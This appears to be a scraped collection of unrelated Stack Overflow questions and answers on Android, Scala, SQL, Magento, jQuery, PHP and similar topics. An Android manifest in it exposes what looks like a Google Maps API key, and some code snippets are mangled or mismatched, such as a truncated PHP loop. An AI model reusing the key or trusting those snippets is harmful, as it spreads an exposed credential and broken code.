xmlns:map="http://schemas.android.com/apk/res-auto" android:id="@+id/map" android:layout_width="match_parent" android:layout_height="match_parent" /&gt; &lt;/LinearLayout&gt; </code></pre> <p>Manifest</p> <pre><code> &lt;manifest xmlns:android="http://schemas.android.com/apk/res/android" package="com.example.newandroid" android:versionCode="1" android:versionName="1.0" &gt; &lt;permission android:name="com.example.newandroid.permission.MAPS_RECEIVE" android:protectionLevel="signature" /&gt; &lt;uses-permission android:name="com.example.newandroid.permission.MAPS_RECEIVE" /&gt; &lt;uses-permission android:name="android.permission.INTERNET" /&gt; &lt;uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" /&gt; &lt;uses-permission android:name="com.google.android.providers.gsf.permission.READ_GSERVICES" /&gt; &lt;uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" /&gt; &lt;uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" /&gt; &lt;uses-sdk android:minSdkVersion="8" android:targetSdkVersion="17" /&gt; &lt;uses-feature android:glEsVersion="0x00020000" android:required="true"/&gt; &lt;application android:allowBackup="true" android:icon="@drawable/ic_launcher" android:label="@string/app_name" android:theme="@style/AppTheme" &gt; &lt;activity android:name="MainActivity"&gt; android:label="@string/app_name" &gt; &lt;intent-filter&gt; &lt;action android:name="android.intent.action.MAIN" /&gt; &lt;category android:name="android.intent.category.LAUNCHER" /&gt; &lt;/intent-filter&gt; &lt;/activity&gt; &lt;activity android:name="com.example.newandroid.Mymap" android:label="@string/title_activity_mymap" android:parentActivityName="com.example.newandroid.MainActivity" &gt; &lt;meta-data android:name="android.support.PARENT_ACTIVITY" android:value="com.example.newandroid.MainActivity" /&gt; &lt;/activity&gt; &lt;meta-data android:name="com.google.android.maps.v2.API_KEY" android:value="AIzaSyAq44a-wWB4W6muJJqZ1DMH-livYscbiyk"/&gt; &lt;/application&gt; &lt;/manifest&gt; </code></pre> <p>this is the MainActivity where the button is ,when clicked it should start Mymap activity.this is Mainactivity code</p> <pre><code>import android.app.Activity; import android.content.Intent; import android.os.Bundle; import android.view.View; public class MainActivity extends Activity { @Override public void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); // TODO Auto-generated method stub } public void view_map(View view) { Intent intent = new Intent(this, Mymap.class); startActivity(intent); // Do something in response to button } } </code></pre>
22798966	0	 <p>Right. Actually, you don't use xml for functions (that would be torture). You put your xml layouts in the <code>/layout</code> folder and then refer to elements to do stuff (like add listeners/whatnot) by doing something like <code>Button yourButton = (Button) &lt;Activity instance&gt;.findViewByID(R.id.your_button)</code>. </p> <p>See: <a href="http://developer.android.com/guide/topics/ui/declaring-layout.html" rel="nofollow">http://developer.android.com/guide/topics/ui/declaring-layout.html</a></p> <p>And if you really don't like xml, you can just do everything in java...</p>
13056879	0	 <p>hi its an old library try this library <a href="https://github.com/vixnet/codeigniter-twitter" rel="nofollow">new twitter library</a></p>
530326	0	 <p><a href="http://freecol.sf.net/" rel="nofollow noreferrer">FreeCol</a>, an open source clone of the classic Sid Meier game, Colonization.</p>
6576640	0	 <p>First off, there's lots of different home screen implementations on Android. The stock Android one, Samsung, HTC and Motorola all have their own variants, then third party ones like Launcher Pro. All use different stores as to what to keep on the home screen, may provide different profiles for the home screen (home, work, etc).</p> <p>Second, the home screen is prime real estate. And it is also the user's real estate. If there was programmatic access to the home screen, what happened to the Windows quick launch, desktop, favorites menu (in older versions of IE), and older pin area of the start menu (the very top of it in Win 95/98).</p> <p>To quote Raymond Chen <a href="http://blogs.msdn.com/b/oldnewthing/archive/2006/11/01/922449.aspx" rel="nofollow">"I bet somebody got a really nice bonus for that feature"</a>. So, in short, even if it was possible, please don't. As awesome as you think your program is, the user might not think the same.</p>
39432927	0	annotation information lost in scala 2.12 trait <p>Just updated a scala 2.11 + JavaFX project to 2.12.0-RC1, the code use java <code>@FXML</code> annotation intensively, e.g.</p> <pre><code>trait MainController { @FXML def onRun(event: ActionEvent) { val script = currentEngine.executeScript("editor.getValue()").toString runScript(script) } } &lt;MenuItem mnemonicParsing="false" onAction="#onRun" text="Run"&gt; &lt;accelerator&gt; &lt;KeyCodeCombination alt="UP" code="R" control="UP" meta="UP" shift="UP" shortcut="DOWN"/&gt; &lt;/accelerator&gt; &lt;/MenuItem&gt; </code></pre> <p>At runtime it throws error while executing <code>FXMLLoader.load</code>: </p> <pre><code>javafx.fxml.LoadException: Error resolving onAction='#onRun', either the event handler is not in the Namespace or there is an error in the script. </code></pre> <p>Seems that the <code>@FXML</code> annotation information has been lost during compilation. I have heard that in 2.12 all traits are compiled to interfaces, but how does this change cause the problem? Is there any workaround?</p>
29481926	0	Query that joins 3 tables <pre><code>CREATE TABLE User(uid INTEGER AUTO_INCREMENT,address VARCHAR(40),city VARCHAR(20),state VARCHAR(20), </code></pre> <p>What Ive tried so far...</p> <pre><code>SELECT User.uid, Job.jobid, Protein.pid FROM User JOIN Job ON (Job.uid = User.uid) JOIN Protein ON (Job.pid = Protein.pid) </code></pre> <p>I cant figure out how to find a job that utilizes all proteins.</p>
5137422	0	 <p>I just found a way to do this.</p> <p>Move everything under TRY, and that way, the CATCH is the last thing, so there's nothing else to be executed.</p>
33517311	0	Magento Patch 6788 Installation error <p>I am trying to install magento patch 6788 form ssh. but when i run command </p> <pre><code>sh PATCH_SUPEE-6788_CE_1.8.1.0_v1-2015-10-26-11-59-27.sh </code></pre> <p>i am getting this error </p> <pre><code> Checking if patch can be applied/reverted successfully... ERROR: Patch can't be applied/reverted successfully. can't find file to patch at input line 5 Perhaps you used the wrong -p or --strip option? The text leading up to this was: -------------------------- |diff --git .htaccess .htaccess |index 60e1795..aca7f55 100644 |--- .htaccess |+++ .htaccess -------------------------- File to patch: Skip this patch? [y] Skipping patch. 1 out of 1 hunk ignored patching file .htaccess.sample patching file app/code/core/Mage/Admin/Model/Block.php patching file app/code/core/Mage/Admin/Model/Resource/Block.php patching file app/code/core/Mage/Admin/Model/Resource/Block/Collection.php patching file app/code/core/Mage/Admin/Model/Resource/Variable.php patching file app/code/core/Mage/Admin/Model/Resource/Variable/Collection.php patching file app/code/core/Mage/Admin/Model/Variable.php patching file app/code/core/Mage/Admin/etc/config.xml patching file app/code/core/Mage/Admin/sql/admin_setup/upgrade-1.6.1.1-1.6.1.2.php patching file app/code/core/Mage/Adminhtml/Block/Permissions/Block.php patching file app/code/core/Mage/Adminhtml/Block/Permissions/Block/Edit.php patching file app/code/core/Mage/Adminhtml/Block/Permissions/Block/Edit/Form.php patching file app/code/core/Mage/Adminhtml/Block/Permissions/Block/Grid.php patching file app/code/core/Mage/Adminhtml/Block/Permissions/Variable.php patching file app/code/core/Mage/Adminhtml/Block/Permissions/Variable/Edit.php patching file app/code/core/Mage/Adminhtml/Block/Permissions/Variable/Edit/Form.php patching file app/code/core/Mage/Adminhtml/Block/Permissions/Variable/Grid.php patching file app/code/core/Mage/Adminhtml/controllers/Permissions/BlockController.php patching file app/code/core/Mage/Adminhtml/controllers/Permissions/VariableController.php patching file app/code/core/Mage/Adminhtml/etc/adminhtml.xml patching file app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php patching file app/code/core/Mage/Core/Controller/Request/Http.php Hunk #1 succeeded at 287 (offset -7 lines). patching file app/code/core/Mage/Core/Controller/Varien/Router/Admin.php Hunk #1 FAILED at 131. 1 out of 1 hunk FAILED -- saving rejects to file app/code/core/Mage/Core/Controller/Varien/Router/Admin.php.rej </code></pre> <p>and please give me some tips to upgrade magento current version from ssh Please Help to fix that</p>
32045695	0	How to pass parameters / arguments from one javascript snippet to another, when evaluated <p>My goal is to execute a javascript snippet using another javascript snippet using </p> <p><code>new Function(x1, x2, x3, functionBody)</code> call.</p> <p>My problem appears when i need to pass parameters to the function, this is because functionBody may appear as a new Js script with global declarations and calls. </p> <pre><code>function main() { var a = x1; var b = x2; var c = x3; .... .... } main(); // this is the function that starts the flow of the secondary Js snippets </code></pre> <p><strong>Edit:</strong> I have a script responsible for downloading and executing another Js script. each downloaded script is executed by a global call to main(), which is unknown to the caller script.</p>
25948930	0	 <p>$datas = array(); $empcount = 10; $emp = $dIndex = 0;</p> <p>for($i=0;$i if( $emp >= $empcount) { $dIndex++; $emp = 0; } $datas[$dIndex][] = $finaldata[$i]; }</p>
25159412	0	 <p>what you probably want is a "provided"*-scope dependency on <code>org.wildfly:wildfly-spec-api:8.1.0</code> (which is a pom artifact containing all the apis/specifications provided to you by wildfly).</p> <p>assumming you intend to deploy your app inside wildfly (as opposed to embedding wildfly in your own main() somehow...) you dont need a dependency on the wildfly container.</p> <p><strong>*</strong> - note that since wildfly-apec-api is a pom artifact (and not a jar) you need to use the import scope and not provided. see <a href="http://www.mastertheboss.com/wildfly-8/maven-configuration-for-java-ee-7-projects-on-wildfly" rel="nofollow">this article</a> for a complete guide. the gist is you put an import scope dependency on the pom in dependency management, and then you can put a provided-scope dependency on any specific member api/spec that you use (say ejb3, jsf, bean validation or jpa) and the versions will be taken from the spec-api pom.</p>
40673098	0	 <p>Probably there is. Probably you can also use another callback on the application model which happens before, there are plenty of them. See <a href="http://api.rubyonrails.org/classes/ActiveRecord/Callbacks.html" rel="nofollow noreferrer">Active Record Callbacks</a></p> <p>However this is exactly the case, which other people call <code>rails callback hell</code></p> <p>The best practice here would be just creating a form object, which creates the data in the order you need and remove the callbacks</p> <pre><code>class ApplicationCommitmentForm include ActiveModel::Model attr_accessor ... def submit a = Application.create .. a.update_case_code a.commitments.create ... end end </code></pre> <p>See <a href="https://robots.thoughtbot.com/activemodel-form-objects" rel="nofollow noreferrer">ActiveModel Form Objects</a></p> <p>Btw you could also wrap the submit code into a transactions ensuring that either all records are created or in case of any errors nothing at all.</p>
12100843	0	 <p>If at all possible you should store your additional values as <code>hidden</code> input fields (one per value) rather than as meta-data on other input fields. They'll then get serialized automatically as part of the form.</p> <p>I won't write a serializer for you, as I think it's a bad idea. If you <em>insist</em> on sending the values to the browser as <code>data-</code> fields you could do this, though, to convert those <code>data-</code> fields into <code>hidden</code> inputs.</p> <pre><code>$('#myform:input').each(function() { var input = this; $.each($(input).data(), function(key, value) { $('&lt;input&gt;', {type: hidden, name: key, value: value}).insertAfter(input); }); }); </code></pre> <p>Hey presto, hidden input fields that'll be automatically serialized!</p> <p>Be aware that jQuery also uses <code>.data()</code> to store things like events. To avoid iterating over those objects you'd have to use the native DOM functions to retrieve the <code>data-</code> <em>attributes</em>, and not any data-related <em>properties</em> that have been stored on the elements.</p>
38717284	0	 <p>According to php manual </p> <p><strong>random_bytes</strong> : Generates <strong>cryptographically secure</strong> pseudo-random bytes <strong>openssl_random_pseudo_bytes</strong> : Generate a pseudo-random string of bytes</p> <p>so main difference is the <strong>cryptographically secure</strong></p> <blockquote> <p>The openssl_random_pseudo_bytes() PHP function calls the RAND_psuedo_bytes() OpenSSL function, which the OpenSSL docs say should only be used for non-cryptographic purposes:</p> </blockquote> <p><a href="https://paragonie.com/blog/2015/07/how-safely-generate-random-strings-and-integers-in-php" rel="nofollow">https://paragonie.com/blog/2015/07/how-safely-generate-random-strings-and-integers-in-php</a></p>
23363406	0	How to Sort products based on Product Variant Attribute Value in nopcommerce3.10 <p>Please help me to filter products based on Product Variant Attribute Value in nopcommerce3.10</p> <p>Thanks</p>
17246440	0	 <p>This will capture the two square brackets <code>\K\[\[(?&gt;[^]]++|](?!]))]]*</code> </p> <p><strong>Input Text</strong></p> <pre><code>like [[ yes|ja ]] with </code></pre> <p><strong>Matches</strong></p> <pre><code>[0] =&gt; [[ yes|ja ]] [1] =&gt; yes|ja </code></pre> <p>I"m not a python programmer, but I think you'll want to modify your script to be like this:</p> <pre><code>$that = $this; $view = preg_replace_callback('~\K\[\[(?&gt;[^]]++|](?!]))]]*~', function ($m) use ($that) { return $that-&gt;__($m[1]); }, $view); </code></pre>
30188231	0	 <p>Just loop over the selections:</p> <pre><code>Sub Maja() Dim K As Long K = 1 vals = Array("3", "6", "9") For Each a In vals For Each b In vals For Each c In vals For Each d In vals For Each e In vals Cells(K, 1) = a &amp; b &amp; c &amp; d &amp; e K = K + 1 Next e Next d Next c Next b Next a MsgBox K End Sub </code></pre> <p>A snap of the top of the list:</p> <p><img src="https://i.stack.imgur.com/1DUhg.png" alt="enter image description here"></p> <p><strong>NOTE:</strong></p> <p>Technically, you would call these <strong>permutations</strong> rather than <strong>combinations</strong> because values like <em>33363</em> and <em>33336</em> both appear in the list as they represent different numerical values.</p>
26155338	0	 <p>I am using the following</p> <pre><code>&lt;fo:block font-weight="normal" text-align="left"&gt; &lt;fo:external-graphic src="url(file:images/CompanyLogo.png)" content-height="8mm" /&gt; &lt;/fo:block&gt; </code></pre>
14649880	0	Make a web browser as modal popup window in my web site <p>Hi guys I just found out that it's possible to implement a draggable modal popup using web browser itself.that how tinymce and joomla and other popular frameworks use it. And my questions is how can we apply that css stylize on browser itself, by hiding the address bar and the browser icon on the left up corner, and make it graggable only within the page. i wonder that maybe there is a simple solution for that in html5. Any links will be helpfull</p> <p>Thank you</p>
24130164	0	 <p><strong>To display text instead of ID from dropdown list</strong>:</p> <p>You can create a function in the directive that loops through the options, and returns the <code>name</code> when the <code>id</code> matches the value you're binding on. For example:</p> <pre><code>scope.statusText = function(){ var text = ''; angular.forEach(scope.statusOptions, function(item){ if(item.id == scope.task.status) text = item.name; }); return text; } </code></pre> <p><strong>To auto-focus the element</strong></p> <p>Create a function in the directive that is called on the <code>ng-click</code> of the "display" span. This will set <code>scope.editStatusMode = true</code>, then call <code>.focus</code> on the element.</p> <pre><code>scope.setStatusFocus = function(){ scope.editStatusMode = true; var el = element.find('select'); $timeout(function(){ el.focus(); }); }; </code></pre> <p>Wrapping the <code>el.focus()</code> in <code>$timeout</code> will delay the call to focus until the DOM is done rendering. The HTML looks like this:</p> <pre><code>&lt;span ng-hide="editStatusMode" ng-click="setStatusFocus()" ng-bind="statusText()"&gt;&lt;/span&gt; </code></pre> <p><strong>How do you know which object you're updating</strong></p> <p>Create an <code>update()</code> function in the directive that is bound to 'ng-blur<code>. In that function, you can access</code>scope.task`, which you can send off to your server to save. </p> <pre><code>scope.update = function(){ scope.editPriorityMode = false; //Save scope.task here. console.log(scope.task); } </code></pre> <p>This works for <code>description</code> and <code>priority</code>. It doesn't work for <code>status</code> because when you change the status, it immediately disappears from whichever list it is in and is added to a different list, and the <code>blur</code> event is never fired. To deal with <code>status</code>, you can create a <code>$watch</code> on <code>task.status</code>, and call the <code>update()</code> function from there.</p> <pre><code>scope.$watch('task.status', function(oldValue, newValue){ scope.update(); }) </code></pre> <p><a href="http://plnkr.co/edit/MBwAUkPZvYUhDAVW7KZN?p=preview" rel="nofollow">Plunker</a></p>
22209054	0	 <p>Instead of checking the empty value it's better to check the length of the content</p> <pre><code>$("td").hover(function(){ var cell = $(this).html(); if(cell.length===0) $(this).css( "background-color", "orange"); else $(this).css( "background-color", "black"); }); </code></pre>
25892005	0	 <p>Under normal circumstances. Java properties of the variable names are lowercase letter, such as: userName, ShowMessage, but there are special circumstances, taking into account certain interesting English acronym (USA, XML, etc.), JavaBean also allows capital letters beginning the attributes variable name, but must meet the first two letters of the variable is either all uppercase or all lowercase "requirements, such as: the IDCODE ICcard IDCODE property variable name is legal, but the iC, iCcard, iDCode attribute variables The name is illegal.</p>
12333125	0	 <p>By using <a href="http://plugins.jquery.com/project/jCaret" rel="nofollow">JQuery Caret Plugin</a>, you could use some code like:</p> <pre><code>&lt;textarea id="codeInput" cols="80" rows="50"&gt;content&lt;/textarea&gt; &lt;script type="text/javascript"&gt; var tagDict = { "[b]" : "[/b]", "[c]" : "[/c]", "[d]" : "[/d]" }; $(document).ready(function () { $('#codeInput').keyup(function () { var test = $(this).val(); var tagStart = test.substr(test.length - 3, 3); if (tagDict[tagStart]) { $(this).val(test + tagDict[tagStart]); $(this).caret(test.length, test.length); } }); }); &lt;/script&gt; </code></pre> <p>It's not perfect, but it could be a start for a complete code completion function.</p>
29208020	0	Set maximum of upload size in a asp.net application <p>in asp.net I cant set my upload limit with the value:"maxAllowedContentLength". This value has the type uint32, that means it has a maximum size of: "4294967295". The problem is, that 4gb for me, are not enough. Is there a way, to increase this value?</p>
4671159	0	 <p>If you are having problem with validation messages you can always check the codes for the validation errors using the <code>errors</code> collection on an instance.</p> <pre><code>Customer c = ... c.validate() c.errors.each { println it } c.errors.getFieldError("address").codes.each { println it } c.errors.getFieldError("address").defaultMessage </code></pre> <p>Write a unit test to check the codes to localise the messages.</p>
22221371	0	 <p>Yes, this is entirely correct. You can easily check it by setting the grid search procedure in verbose mode:</p> <pre><code>&gt;&gt;&gt; estimator = GridSearchCV(pipe, dict(pca__n_components=n_components, ... logistic__C=Cs), ... verbose=1) &gt;&gt;&gt; estimator.fit(X_digits, y_digits) Fitting 3 folds for each of 9 candidates, totalling 27 fits [...snip...] </code></pre> <p>More generally, the number of <code>fit</code> calls is the product of the number of value per parameter, times <em>k</em>, +1 if you refit the best parameters on the full training set (which happens by default).</p>
12421783	0	 <p>iPhone5's cpu is A6(armv7s). The existing Admob sdk does not support it. We have to wait for admob to update the sdk.</p>
13379911	0	Drupal Commerce - Paypal Payment <p>I'm looking for a explanation about how the Paypal Sandbox works. Let's say I have a real Paypal account through which I receive payments and I want to configure it on Drupal Commerce's Paypal module, but also I want to test the payment workflow first before making it live and let my customers use it, I see the Paypal configuration on Drupal has the following options under the "PayPal server" section:</p> <ul> <li>Sandbox - use for testing, requires a PayPal Sandbox account</li> <li>Live - use for processing real transactions</li> </ul> <p>I assume that if I want to do "dummy" transactions I must enable the "Sandbox" option on the Drupal side so my question is </p> <p><em>Is enabling the 'Sandbox' option the only thing I need to do in order to avoid real transactions being charged to my Paypal account? or do I have to create another Paypal account (the Sandbox account) and configure it on the Drupal side instead of my real account?</em></p> <p>I was just wondering if the Paypal Payment plugin on Drupal needs a "Sandbox account" (different from my real Paypal account) or if by just enabling the Sandbox option it somehow signals Paypal about it and any transactions are just ignored while that option is enabled.</p> <p>I'll apreciate if someone clarifies this a bit for me, I'm just starting to develop Paypal related stuff.</p> <p>Thanks!</p>
3506988	0	Output UTF-16? A little stuck <p>I have some UTF-16 encoded characters in their surrogate pair form. I want to output those surrogate pairs as characters on the screen.</p> <p>Does anyone know how this is possible?</p>
20399715	0	 <p>Simple wrapping of C# Console behaviour in F# printfn style. </p> <p>NB. the printfn "no format" overload is not working for this work-around.</p> <p>I'll award the question to the best answer if another answer shows up.</p> <pre><code> // .fs code // -------- namespace Play open PlayCS open System open NUnit.Framework module printHelper = let printfn (fmt: Format&lt;_,_,_,_&gt;) x = ConsoleHack.WriteLine &lt;| sprintf fmt x open printHelper [&lt;TestFixture&gt;] type printPatterns2() = [&lt;Test&gt;] member __.testHelper() = printfn "%s" "our overloaded printfn" printfn "%s" "now does" printfn "%s" "what" printfn "%s" "it is supposed to" printfn "%s" "in the F#/Resharper/nunit context" [&lt;Test&gt;] member __.testHackWriteLine() = ConsoleHack.WriteLine(sprintf "%s" "abc") ConsoleHack.WriteLine(sprintf "%s" "abc") // .cs code // -------- using System; namespace PlayCS { public class ConsoleHack { public static void WriteLine(string s) { Console.WriteLine(s); } } } </code></pre> <p>Improvement requests: </p> <ul> <li>is it possible to load this into the top-level-domain?</li> </ul>
29608255	0	 <p>View</p> <pre><code>@using (Html.BeginForm("Save", "Doctor", FormMethod.Post)) { &lt;p&gt; @Html.LabelFor(model =&gt; model.Foo): @Html.EditorFor(model =&gt; model.Foo) @Html.ValidationMessageFor(model =&gt; model.Foo) &lt;/p&gt; &lt;p&gt; @Html.LabelFor(model =&gt; model.barImage) &lt;input type="file" name="Image" /&gt; &lt;/p&gt; &lt;p&gt; &lt;input type="submit" value="Save" /&gt; &lt;/p&gt; } </code></pre> <p>Controller </p> <pre><code>[HttpPost] public ActionResult Create(Doctor doc) { your_dbcontext db = new your_dbcontext(); db.Add&lt;Doctor&gt;(doc); db.SaveChanges(); return RedirectToAction("Index"); } </code></pre>
14801332	0	 <p>A very simple (but rather memory expensive) way would be:</p> <pre><code>bool use_map(const std::string&amp; sentence) { std::set&lt;char&gt; chars(sentence.begin(), sentence.end()); return chars.size() == sentence.size(); } </code></pre> <p>If there's no duplicate chars, the sizes of both string and set will be equal.</p> <p>@Jonathan Leffler raises a good point in the comments: sentences usualy contain several whitespaces, so this will return <code>false</code>. You'll want to filter spaces out. Still, <code>std::set</code> should be your container of choice.</p> <p><strong>Edit:</strong></p> <p>Here's an idea for O(n) solution with no additional memory. Just use a look-up table where you mark if the char was seen before:</p> <pre><code>bool no_duplicates(const std::string&amp; sentence) { static bool table[256]; std::fill(table, table+256, 0); for (char c : sentence) { // don't test spaces if (c == ' ') continue; // add more tests if needed const unsigned char&amp; uc = static_cast&lt;unsigned char&gt;(c); if (table[uc]) return false; table[uc] = true; } return true; } </code></pre>
14041137	0	 <p>for anyone having the same problem, I've managed to fix it starting from scratch on the code and using this: <a href="http://jsfiddle.net/tuando/CA8KV/1/" rel="nofollow">http://jsfiddle.net/tuando/CA8KV/1/</a></p> <pre><code>$("#accordion").accordion(); $(".section-link").click(function (e) { e.preventDefault(); $("#accordion").accordion("activate", $(this).parent().index()); }); </code></pre> <p>​</p> <p>Excellent and lightweight solution.</p> <p>Thanks to anyone who looked into it.</p>
9431116	0	 <p>Please try following, </p> <ul> <li>Install Microsoft Access Database Engine.exe.</li> <li>On IIS goto Application pools, choose the application pool of the website. </li> <li>Click on Advanced settings, set Enable 32-bit Applications to true.everything should work.</li> </ul>
21770712	0	 <p><code>p</code> elements are paragraphs - so they have a default property of display:block. Either use another element, for example a <code>span</code>. Alternatively you can change the display property of the p dom element, for example to <code>display:inline</code>.</p> <p>Update - the property of vertical align 'vertical-align:middle' should be applied to the images.</p> <p>Also - your nesting of styles seems wrong, see a working example below.</p> <p>Example (updated): <a href="http://jsfiddle.net/YwV54/2/" rel="nofollow">http://jsfiddle.net/YwV54/2/</a></p>
21373683	0	 <p>On the basis that the <code>else</code> is there, no, it won't work.</p> <p>For it to work how you wish it to, you'd need to remove the else and just use 2 <code>if</code> statements, such as;</p> <pre><code>// Set default values; $a = 2; $b = 0; // Check $a if( $a == 2 ) { // Change values $a = 0; $ b = 2; } // Check $b, which is now 2 due to the condition matching above if( $b == 2 ) { echo "Cool?"; } </code></pre> <p>I believe you're slightly missing the point with the else.</p> <p>It is used for condition matching, to confirm multiple possibilies.</p> <p>For example, let's imagine a lottery, where the prize money is split into ranges;</p> <p>Numbers 01 - 10 = $5. Numbers 11 - 20 = $10. Numbers 21 - 30 = $20.</p> <p>You're code could look something like</p> <pre><code>&lt;?php $random_result = mt_rand(0, 30); if ($random_number &gt; 20) { $amount = 20; } else if ($random_number &gt; 10) { $amount = 10; } else { $amount = 5; } echo 'The jackpot for today was $' . $amount . '!'; </code></pre>
37058855	0	 <p>For the addition, it could be like this</p> <pre><code>bool addBigInt( const BigInt n1, const BigInt n2, BigInt res ) { int i, sum, carry = 0; for(i=0; i&lt;MaxDigits; i++) { sum = n1[i] + n2[i] + carry; res[i] = sum % 10; carry = sum / 10; } return carry == 0; } </code></pre>
37627989	0	 <p>Use the JavaScript <code>JSON.Stringify()</code> function. Example:</p> <pre><code>$.ajax({ method: "POST", url: "/yourController/yourAction", data: { name: "John", location: "Boston" } }).done(function( data ) { alert(JSON.Stringify(data)); }); </code></pre>
10235421	0	Check the existence of an object in Core Data <p>I found this code in response to another question:</p> <pre><code>NSError *error = nil; NSUInteger count = [managedObjectContext countForFetchRequest:request error:&amp;error]; [request release]; if (!error){ return count; } else return 0; </code></pre> <p>The problem is, I don't know what to make my fetch request be, in order to have it only potentially return my object, and no others.</p>
11484405	0	Incorrect forms authentication timeout <p>I want to make "remember time" on a site something aroun one week. In default mvc 3 application I set this changes:</p> <pre><code>&lt;forms loginUrl="~/Account/LogOn" timeout="10880" slidingExpiration="true" /&gt; </code></pre> <p>But, it is not enought. After half an hour site forget me. What could be wrong?</p>
22077214	0	 <p>Turn on the Debug Graphics Device (D3D11_CREATE_DEVICE_DEBUG) and you should see that your constant buffer is not 64 bytes in HLSL as you expect.</p> <pre><code>// cbuffer LightBuffer // { // // float4 lightRange; // Offset: 0 Size: 16 // float3 lightPos; // Offset: 16 Size: 12 // float3 lightColor; // Offset: 32 Size: 12 // float3 lightDirection; // Offset: 48 Size: 12 // float2 spotLightAngles; // Offset: 64 Size: 8 // float padding; // Offset: 72 Size: 4 // // } </code></pre> <p>All told, your constant buffer is 80 bytes in size. Meanwhile your struct on the C++ side is made up of structures of floats which don't adhere to the HLSL packing rules (float4 registers) so your two types don't align.</p>
2595096	0	 <p>Since traversing a <a href="http://en.wikipedia.org/wiki/Binary_tree" rel="nofollow noreferrer">binary tree</a> requires some kind of state (nodes to return after visiting successors) which could be provided by stack implied by recursion (or explicit by an array).</p> <p>The answer is no, you can't. (according to the classic definition)</p> <p>The closest thing to a binary tree traversal in an iterative way is probably using a <a href="http://en.wikipedia.org/wiki/Heap_%28data_structure%29" rel="nofollow noreferrer">heap</a></p> <p>EDIT: Or as already shown a <a href="http://en.wikipedia.org/wiki/Threaded_binary_tree" rel="nofollow noreferrer">threaded binary tree</a> ,</p>
39880011	0	strange issue when using drawer in android lolipop <p>i have mainlayout.xml as coded below :</p> <pre><code>&lt;?xml version="1.0" encoding="utf-8"?&gt; &lt;android.support.v4.widget.DrawerLayout xmlns:android="http://schemas.android.com/apk/res/android" xmlns:app="http://schemas.android.com/apk/res-auto" xmlns:tools="http://schemas.android.com/tools" android:id="@+id/drawer" android:layout_width="match_parent" android:layout_height="match_parent" android:layoutDirection="rtl" tools:context="com.sanwix.mh.meeting.MainActivity"&gt; &lt;RelativeLayout android:layout_width="match_parent" android:layout_height="match_parent"&gt; &lt;include android:id="@+id/toolbar" layout="@layout/layout_appbar"/&gt; &lt;android.support.v7.widget.RecyclerView android:id="@+id/MyMainReycler" android:layout_width="match_parent" android:layout_height="match_parent" android:layout_below="@+id/toolbar" android:padding="16dp"&gt; &lt;/android.support.v7.widget.RecyclerView&gt; &lt;android.support.design.widget.FloatingActionButton android:id="@+id/Fabb" android:layout_width="wrap_content" android:layout_height="wrap_content" android:layout_alignParentBottom="true" android:layout_alignParentLeft="true" android:layout_gravity="left|bottom" android:layout_margin="16dp" android:src="@android:drawable/ic_menu_edit" android:transitionName="sharedFab" app:backgroundTint="@color/colorAccent" app:elevation="8dp" app:fabSize="normal" /&gt; &lt;/RelativeLayout&gt; &lt;android.support.v7.widget.RecyclerView android:id="@+id/myRecycleDrawer" android:layout_width="280dp" android:fitsSystemWindows="true" android:layout_gravity="start" android:layout_height="match_parent"/&gt; &lt;/android.support.v4.widget.DrawerLayout&gt; </code></pre> <p>every things work prefectly on pre-lolipop devices. but on lolipop or above , it doesnt run prefectly. my issue is that : i have no main content for myactivity and each one of my elements take a seperate drawer . i mean the RelativeLayout will be shown as left-side drawer and the RecyclerView will be shown as right-side drawe on lolipop or above. but what i want is just one drawer on rightside(my recycle)</p> <p>any idea will be appreciated</p>
4420170	0	 <p>Honestly, no or at least not that I've run across. Whether you use your data (EF) models for the MVC model or not in either case you're going to have to decorate a bunch of classes (properties) with the attributes. </p> <p>Personally I generally insert a business layer between my DAL (EF/NHibernate/etc.) and my UI layer (MVC) so my models in the UI are different from persistence. But I still end up with just as many (if not more) model classes with attributes as I have for the DAL.</p> <p>This may not help in your situation but you may want to take a look at the new validation features coming with the next version of <a href="http://weblogs.asp.net/scottgu/archive/2010/12/10/class-level-model-validation-with-ef-code-first-and-asp-net-mvc-3.aspx" rel="nofollow">EF</a> and see if the will help you any.</p>
11094002	0	 <p>You can manually fire the change event after you dynamically populate the field, eg:</p> <pre><code>jQuery("#input_4_64").val(selectedValue).change(); </code></pre>
23027463	0	SQL : search from two tables <p>I'm using SQL Server and I have two tables</p> <p><code>player</code>:</p> <pre><code> player guildId -------------------- a 1 b 2 c 2 d 2 e 1 f 1 g 1 </code></pre> <p><code>game</code>: </p> <pre><code> player gameId -------------------- a 4 b 1 c 2 d 1 e 3 f 2 g 2 </code></pre> <p>I want to create a view called view_test,</p> <p>The view's result :</p> <pre><code>select * from view_test where guildId = 2 and gameId = 2 </code></pre> <p>it shows</p> <pre><code> player joined ---------------- b false c true d false select * from view_test where guildId = 2 and gameId = 1 player joined ----------------- b true c false d true select * from view_test where guildId = 2 and gameId = 3 player joined ---------------- b false c false d false select * from view_test where guildId = 1 and gameId = 4 player joined ---------------- a true e false f false g false </code></pre> <p>How can I do this SQL ?</p> <p>Thanks</p>
17477454	0	 <p>You can use <code>CopyTo</code> method of the <em>stream</em>.</p> <pre><code>MemoryStream m = new MemoryStream(); dataStream.CopyTo(m); byte[] byteArray = m.ToArray(); </code></pre> <p>You can also write directly to file</p> <pre><code>var fs = File.Create("...."); dataStream.CopyTo(fs); </code></pre>
5097088	0	How to copy MySQL table structure to table in memory? <p>How to create a table in memory which is identical to "regular" table? I want a copy without indexes and constraints. Pure SQL (no external tools).</p> <p>This works (however indexes are created):</p> <pre><code>create table t_copy (like t_original) </code></pre> <p>This doesn't:</p> <pre><code>create table t_copy (like t_original) engine=memory </code></pre>
